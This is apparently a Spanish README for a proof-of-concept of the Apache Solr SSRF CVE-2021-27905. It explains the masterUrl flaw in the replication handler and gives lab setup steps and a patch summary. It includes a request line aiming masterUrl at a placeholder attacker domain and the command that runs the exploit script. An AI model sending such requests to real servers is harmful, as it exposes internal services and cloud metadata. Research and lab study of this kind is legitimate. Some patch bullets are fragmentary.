
Apache Solr < 8.8.2 Server Side Request Forgery
Para fines educativos y de investigación únicamente. No utilices este código en sistemas que no poseas o para los que no tengas permiso explícito de prueba. No soy responsable de ningún uso indebido.
Esta es una vulnerabilidad de Server Side Request Forgery (SSRF) que afecta a Apache Solr (< 8.8.2) y que permite a atacantes remotos realizar peticiones HTTP arbitrarias a sistemas internos o externos a través del parámetro masterUrl del manejador de replicación, exponiendo potencialmente servicios internos o metadatos confidenciales de la nube.
Versiones afectadas : todas las versiones anteriores a 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
El mecanismo de replicación en Solr permite que una «réplica» obtenga archivos de índice de un «maestro/líder» especificando un parámetro masterUrl o leaderUrl. La URL a la que apunta este parámetro no se valida correctamente en las versiones afectadas de Apache Solr. Por lo tanto, permitiría a los atacantes convencer al servidor de que acceda a un recurso remoto que ellos elijan.
Flujo vulnerable
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
El ReplicationHandler de Solr:
masterUrl proporcionada para descargar los datos del índice.CONFIGURACIÓN DEL LABORATORIO
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
EXPLOTACIÓN
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

El ReplicationHandler de Solr fue parcheado para:
masterUrl/leaderUrl apunte solo a hosts aprobados.http, https)./replication con autenticación o eliminarlo por completo si no se usa.